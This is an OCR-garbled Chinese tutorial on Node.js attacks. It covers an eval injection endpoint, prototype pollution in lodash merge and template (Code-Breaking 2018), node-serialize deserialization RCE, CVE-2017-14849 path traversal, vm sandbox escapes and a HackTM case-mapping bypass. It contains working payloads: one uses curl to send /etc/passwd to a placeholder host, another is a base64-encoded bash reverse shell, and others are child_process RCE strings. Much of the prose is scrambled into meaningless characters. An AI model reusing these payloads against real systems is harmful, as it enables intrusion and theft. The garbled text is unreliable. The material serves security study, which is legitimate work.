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eval()
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main.js
var express = require("express");
var app = express();

app.get('/eval’,function(req,res){

res.send(eval(req.query.q));

console.log(req.query.q);

H
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var server = app.listen(8888, function() {
console.log(" RS, Vil http://127.0.0.1:8888/");
1
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Node js#ffchile_process.execifi fl fj &/bash.sh, B & —Abashf k8, ATLAPIT RLiM4L. fEevalfi IS bl LA require(' child_process').exec('"); R#ATIRH .
57+ 5 3% (windows):

/eval?q=require('child_process"').exec('calc');

BRHS A (linux):

/eval?q=require(‘child_process').exec('curl -F "x="cat /etc/passwd " http://vps');;

[ 3#shell(linux):

/eval?qg=require('child_process"').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMCAwLjEVMzMzMyAwPiYx |base64 -d|bash');

YmFzaCAtaSA%2BJIAVZGV2L 3RjcC8xMjcuMC4wLJEvMzMzMyAwPi Yxbash -i >& /devitcp/127.0.0.1/3333 0>&1 BASEGAINE JG 45 R, EEHAH R .

VER: BASEGAME 5 I F /i H — M5 T Burihil A%2B(—E I T)

kT 3ehE A require(FEL T Code-Breaking 2018 Thejs), WA LA global.process.mainModule.constructor._load('child_process').exec('calc') RfTar4d
paypal—/™ i & $AT H Bl 7«

[demo.paypal.com] Node.js code injection (RCE)
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¢ setinteval(some_function, 2000)
PR JE AT BB B

¢ setTimeout(some_function, 2000);
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some_functionib gt 2K T eval® £ 2%

i i HelloWorld :
¢ Function(“console.log(‘HelloWolrd’)")()

24 FphpH ficreate_function
LA b # AT LS B & T
Node.js J& #15 JL IR iH
Javascript RS H T YK SR
RTEREE
XEARTRBAERER ARG IEE R, RAFEEENERT, UTAA R EZER A
e fEjavascript, §—ANSEBIX R#BAH — prototype &, prototype J& T LA XF S N JE PRI F 2

BT

1 object.prototype.name=value

e fEjavascript, F—ANLHIX REH —A _proto_ JEYE, X ASLABJE MR 0 G SRR GBI SRR ). T LAE IS BLF 77 2 A — S B SR G

1 objectname["_ proto_ "]
2 objectname.__proto__
3 objectname.constructor.prototype

o RIEIR BT B R B BE LR (4 ):

1 var o = {a: 1};

2 // oXtHEH:4kAK T Object.prototype

3 /1 REEE:

4 // o ---> Object.prototype ---> null

5

6 var a = ["yo", "whadup", "?"];

7 // BE#4% AT Array.prototype

8 /] B

9 // a ---> Array.prototype ---> Object.prototype ---> null

10

11 function f(){

12 return 2;

13 }

14 // E¥E4KT Function.prototype

15 /] JRELE:

16 // f ---> Function.prototype ---> Object.prototype ---> null
B 75 R

*fFiff]: object[al[b] = value WIRW LAIZHla. b, valuefffE, KaitBH _proto_ , BATEEA LA objectid R EA ¥ B —/NoJRtk, {H Avalue. IXFEHTH 4k Kobjectsd R BY i) S Bl %t RAE A& B R
WELBHMER T, MEMAbEYE, HiEHvalue.

KRB —AME KB T
1 objectl = {"a":1, "b":2};
2 objectl._ proto__.foo = "Hello World";
3 console.log(objectl.foo);
4 object2 = {"c":1, "d":2};
5 console.log(object2.foo0);

> objectl = {"a":1, "b":2};
objectl._ proto__ .foo = "Hello World";
console.log(objectl.foo);
object2 = {"c”:1, "d":2};
console.log(object2.foo);

Hello World VM4R9: 3
Hello World VM4@9:5
undefined

>

B &L H T MHello World. A4 object27E 34 i Bfoo B HERITEIL T, 4% HiHello WorldWe ? i AES —4&iEHd, HAxobjectt R AT % B T —/MooJ@ 1, TMiobject2Flobject! —#f, #i2&
47 T Object.prototype. 7E3kEXobject2 foolit, HiT-object2z &R fEfEfooBIE, M4tk XK Object prototyperh £ T30, XMER T —/MERGEIS Y, FT DR B GETS Ju i B Sk UE Bt 2 0 SR AR 8 2 861 SR B i — A
HREER, AT LA B BT XA R E AR R R


https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

merge$ {f 5 SR B 515 3
merge A 1 I AT AR I B4 (N AE, 3 B IS B e

o TRIEAHIF:
1 function merge(target, source) {
2 for (let key in source) {
3 if (key in source && key in target) {
4 merge(target[key], source[key])
5 } else {
6 target[key] = source[key]
7 }
8 }
9 }
10
11 let objectl = {}
12 let object2 = JSON.parse('{"a": 1, "_ proto_ ": {"b": 2}}')
13 merge(objectl, object2)
14 console.log(objectl.a, objectl.b)
15
16 object3 = {}
17 console.log(object3.b)
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FEJSONMEHTHIEIL T, __proto_ RPENNR—NHIER A", TARER IR, Fi LAER Fiobject2 it i & X FE1EIX AN -
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Code-Breaking 2018 Thejs

XAMEHEEHERSMANTLET, EENER LRSI RRESRANEE, CAEAECHT—E.
FE RS TR http://code-breaking.com/puzzle/9/

H#¥npm install AT LUE & Z B TR TR,

server.js


http://code-breaking.com/puzzle/9/

const fs = require('fs")
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static’, express.static('static'))
app.use(session({
name: 'thejs.session’,
secret: randomize('aA®', 16),
resave: false,
saveUninitialized: false

)

app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)

1 let rendered = compiled({...options})
2 return callback(null, rendered)
3 b

4 h

5 app.set('views', './views')

6 app.set('view engine', 'ejs')
7

8 app.all('/", (req, res) => {
9 // EXsession

10 let data = req.session.data || {language: [], category: []}
11 if (req.method == 'POST") {
12 /1 KB post¥EIHAIH

13 data = lodash.merge(data, req.body)
14 req.session.data = data

15 // B¥dataltfi%isession

16 }

17 res.render('index"', {

18 language: data.language,

19 category: data.category

20 3

21 1)

22

23 app.listen(3000, () => console.log('Example app listening on port 3000!"))
24
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7 AL 7E T lodashs . merge AUX B, XA B AL R AL RETS BRI (ERDGEERRIRIE AT, RAMGFREITT AR AL BR8] DA 2 — A Se il SURBLK R YE,  BrUARAN B2 2 IR —AT
LR F B R A o

T T fi & 2>l i lodash.template 4T %, BREF Fllodash/template jsH



J template.js
startsWith j¢
stringjs
stubAr:
stubFal: / 0 oV (ht ithu om/ o 0 T).
stubObject, VG S t .imports._.templateSettings templateSettings;
S if (guard (string, options, guard)) {
stubTrue,j options = E
1
string = (string);
opticn ({}, options, settings, customDefaultsAssignIn);

imports = , options.imports, settings.imports, customDefaults
importsKeys
importsValue

aluating,
dex B
interpolate = options.interpolate reNoMatch,

_p +="";

throttle reDelimite

thrujs (options.escape || reNoMatch).source + '|' +
interpolate.source + +
(interpolate reInterpolate reEsTemplate : reNoMatch).source +
(options.evaluate reNoMatch) .source + '|%

var sourceURL
tring. (reDelimiters, j;
interpolateValue || (interpolateValue =

iterals.
(reUnesc i:n:-IString_, escapeStringChar};
toPairs.
toPairsinjs
toPathjs

source +=
1

1
if (interpolateValue) {

& W LLE Floptions /2 — MW R, sourceURLZE I T 5 AMIE, optionsBRiAB# sourceURLJE M, BT LAsource URLERIA 12 1% o

1 var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + ‘\n' : '

R BABE % options i JE BU% R n— A source URLJB 1, 74 A3k AT LAFE il source URL I8 «

HSEAE THEE, B/EsourceURLAZIEE] T Functions HU¥ 58 — AN S 4 -



templatejs
fun

stubArray.js
stubFals

re
template.js
templateSe!

toFinite

toln return result;

tolterator.
template;
tolLength.
tolo
toNumbei
toPairs.j
toPairsinjs
toPath.js

toUppel
tran

1 var result = attempt(function() {
2 return Function(importsKeys, sourceURL + 'return ' + source)
3 .apply(undefined, importsvValues);
4 1s
@it M1 chile_process.exec()h AT AT HEERE T -
BT LA — A S IR Payload fF J9 f 3 4% 3 BU A I P OS THUR (windows 1 i i 5448 ):
1 {"_proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}}
(X B BB Hrequire2 144 ReferenceError: require is not defined
piis T — AN E i fipayload:
1 {"_proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync("'
node-serialize % 7 54t RCE¥ i (CVE-2017-5941)
IR B FEnode-serializet$8:0.0. 4/ A 245, i npm install node-serialize@e.e.4 ZHiHHL,
o TR ARIFE:
IFE CSZRPEF a A ik 50 & —ANEE U Bt & LRI AT ¥ JavaScript B %
IFE— A5 B T 9 7 e
1 (function(){ /* code */ }());
2 /] BE
3 (function(){ /* code */ })();

® node-serialize@o.0.4 i A


https://developer.mozilla.org/zh-CN/docs/Glossary/%25E7%25AB%258B%25E5%258D%25B3%25E6%2589%25A7%25E8%25A1%258C%25E5%2587%25BD%25E6%2595%25B0%25E8%25A1%25A8%25E8%25BE%25BE%25E5%25BC%258F

JIR RS 4L T node_modules\node-serialize\lib\serialize js ' :

outputObj[key] FUNCFLAG funcStr;
} else

else {
outputObj[key] obj[keyl;

I

urn (path ") (outputObj) : outputObj;

- isIndex;

originObj originObj

* circularTasks [1;

1
(obj[key], origin0Obj);
string') {
( FUNCFLAG) e) {
(' ( obj[key] .- ( .length)
(CIRCULARFLAG) B) 1
obj[key]. ( -length);
- ({obj: obj, key: key});

Y {

1
(originObj, task.obj[task.k

return obj;

HAFREMZ: objkey] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')'); X—4Tif4), WLAFERIEESevalliSHRARSLER, FUMEMIE—A function(){}() BH, ERFFI
B B S R IFESLENA AT . KB T #i&payload:

o HiPayload

1 serialize = require('node-serialize');
2 var test = {
3 rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
4 }
5 console.log("FFMLAERM Payload: \n" + serialize.serialize(test));
A R ff)Payload A

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"}
BN T AR F IR AL H S B A RATE M R A, PRI FEEE RN FFMEORREEEERN— (), &ROTF:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}
(XETREEBEEN RN E LIFERIER, TREFHIMLKRIK)

fEi % unserialize (VB 5 L5 5):

1 var serialize = require('node-serialize');
2 var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\"').exec(\'1ls /\",function(error, stdout, stderr){console.log(stdout)});}()"}";
3 serialize.unserialize(payload);

PATIL R, SRWE:



var serialize ( serialize');
payload {"rce":"_$$ND_FUNC$$_function(
serialize. (payload);

B cmder - O X

A node log

Node.js H 3 % #J i 2 51 (CVE-2017-14849)
TEvulhub b THI A DA B 2 F 403 BR 8

TR R IR A <

¢ Node.js 8.5.0 + Express 3.19.0-3.21.2

¢ Node.js 8.5.0 + Express 4.11.0-4.15.5

IBATIRIA P 5«

1 cd vulhub/node/CVE-2017-14849/
2 docker-compose build
3 docker-compose up -d

FiBurpsuite3REuHhhk: /static/../../../a/../../../../etc/passwd BRI F# G H /etc/passwd X

Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surferxyz By:LianZhang - O X
Burp Project flited SEE 0O #E

via | on [ we | ang | =22 | wes | ees s | mer R | maen | B | coz | Ade

g | mE || <v || >y B 45 htp:/139.108.58.127:3000 7 (2)
&k L2153

:@\4'?'15)(' Raw | 3% | Hex

GET /static/../../../af.. /.. /.. /.. fetc/passwd HTTP/1.1 HITP/1.1 200 OF

Host X-Powered-By: Bxpress
e

-
3

Accept-Ranges: bytes
Cache-Control: no-cache Cache-Control: public, max-age=0
Upgrade-Tnsecure-Requests: 1 Last-Wodified: Ved, 13 Sep 2017 20:05: 31 GNT
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: =64) AppleWebEit/537.36 Blag: W/"4d4-15e7cdBb6£8"

(RHTML, like Gecko) Chrome/77.0.3885.80 Safari/537.36 Content-Type: application/octet-stream
Accept Content-Length: 1236

text/htnl, application/xhtml+xnl, application/xml;q=0.9, inage/webp, inage/ap Date: Tue, 04 Feb 2020 06:35:00 GNT

ng. #/#:q=0. 8, application/signed-exchange :v=b3 Connection: close

Accept-Encoding: gzip, deflate
Accept-Language: zh-CH, zh:q=0. 9, en:q=0. &, und: g=0. 7 root:x:0:0:root:/root: /bin/bash

Connection: close daemon: x:1: 1: daemon: /usr/shin: /usr/sbin/nologin

bin: bin: /bin: fusr/shin/nologin

sys:/dev: fusr/shin/nologin

symc: x: 4: 65534: syne: /bin: /bin/ syne

games:x: 5:60: ganes: fusr/games: /usr/shin/nologin

man: x: 8 12: man: /var/cache/man: fusr/sbin/nologin

1p:x:7: 7 1p: fvar/spool/1pd: fusr/shin/nologin

mail x:8: 8:mail: /var/mail: fusr/sbin/nologin

news: x: 9: 0: news: /var/spool/news: fusr/shin/nologin

uuep: w0 10: 10: uuep: fvar/spool/uuep: fusr/shin/nologin

prozy x: 13: 13: proxy: /bin: fusr/shin/nologin

ww-data:x: 33: 33: www-data: /var/ww: fusr/shin/nologin

backup: x: 34: 34: backup: /var/backups: fusr/shin/nologin

list:x: 38:38:Mailing List Manager:/var/list: fusr/sbin/nologin

ire: w3930 ired: /var/run/ired: fusr/shin/nologin

gnats x 41: 41:Gnats Bug-Reporting System (admin):/var/lib/gnats: /usr/shin/nologin
nobody: x: 65534: 65534: nobody: /monexistent: fusr/shin/nologin

stemd-timesync:x: 100: 103 systend Time Synchronization,
emd-networlk:x: 101 104

2.9,
33

cfrun/systend: /bin/false
stend Wetwork Management, .. /run/
:102:105: systend Resolver,,,:/run/systemd/resolve: /bin/false
systemd-bus—proxy:xz: 103 106 systend Bus Proxy, ., :/run/systend: /bin/false
node: x:1000: 1000: : fhome/node: /bin/bash

end-resolve

ke e
] ]
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B4R W: Node.js CVE-2017-14849 ¥R 4 #r
vmp 5 ik &
V2 R SEBL— MRS, T LA A& M PAT AR BRI A 2 ) E LT . (R T CLIE I M 1S 15 ) R AT 2 i«

il T
1 const vm = require("vm");
2 const env = vm.runInNewContext(  this.constructor.constructor('return this.process.env')()’);
3 console.log(env);

PAT 25 AT LASRHUE] B R SR 5 b R AR B
T AR S T 0 T AR

const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);

o VA W N R

VIR BN, E B — TR sandbox, XA SRR vm b AT 42 R R i context, vm BIA H1 45 this f8 A KR IX AN R

F 4 this. constructor. constructor J&[H ]2 —A4> Function constructor , F7LATI LAF I Functiontd G it — AN s Bt P47 (LB Function®d A 1 F SCH BT R A T E 72 7 b i) 3 B 385 1) o0 B0 1)1
#& return this.process.env, ZRRRET FEFHHELTE.

AL chile_process.exec() BT ABATIER ML T+

const vm = require("vm");
const env = vm.runInNewContext( const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()");
console.log(env);

WV

3 fimongo-express RCE(CVE-2019-10758 )i i 2 Bt & vmib 4 336 3% Sk 71 Fi 19
AkaHral 2% CVE-2019-10758:mongo-expressRCE & B4
javascriptk/h B {4

tEjavascripth A JLAMRSR I A R ZIL R —F

%} FtoUpperCase():

FRL M ZiftoUpperCaselbEESE RN "I, S

%t FtoLowerCase():

FRK"ZidtoLowerCase b 5 45 RN "k (IXAKAEK)

T 25— S 0 0 B4 g T AR R 36 T LAV R IR - R AT it
CTF&E 4 - Hacktm# [¥) — i Nodejsf

L B IRA

function isvalidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
)s
}

function isAdmin(u) {
return u.username.tolLowerCase() == config.adminUsername.tolLowerCase();

}

VW NOUV A WN R

=
®

RN HREEFEERANA 4, EREERN, isvaliduser BEEX A MAKA T BIEAT touppercase A8, HSEMAMP AT, WRBMANHEP 2 5EEARHPLHEE, BALFESR.
BRRATTUER, EZFEH—NHWH P RENEE R RECD, 3P AT AEIR tolowercase o HTLUXFANESR:, BATLMEF KNSRtk T 583«

i T BRA R E B P 49 hacktm

Bk, BATHE BRI ZR: hacKtm B4t isvaliduser 1 isAdmin FIBRIE.

B H 58 ¥ Writeup:
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https://security.tencent.com/index.php/blog/msg/121
https://xz.aliyun.com/t/7056

&%

o ##%Node.js Web) %24 A i

o EAFEf#JavaScript Prototypeis Je i

o FIA Node js 5 FILIRIRZRE AT RIS

e Sandboxing NodeJS is hard, here is why

® https://segmentfault.com/a/1190000012672620
o Fuzzhifijavascriptk /N5 5


https://www.freebuf.com/articles/web/152891.html
https://www.freebuf.com/articles/web/200406.html
https://paper.seebug.org/213/
https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
https://segmentfault.com/a/1190000012672620
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
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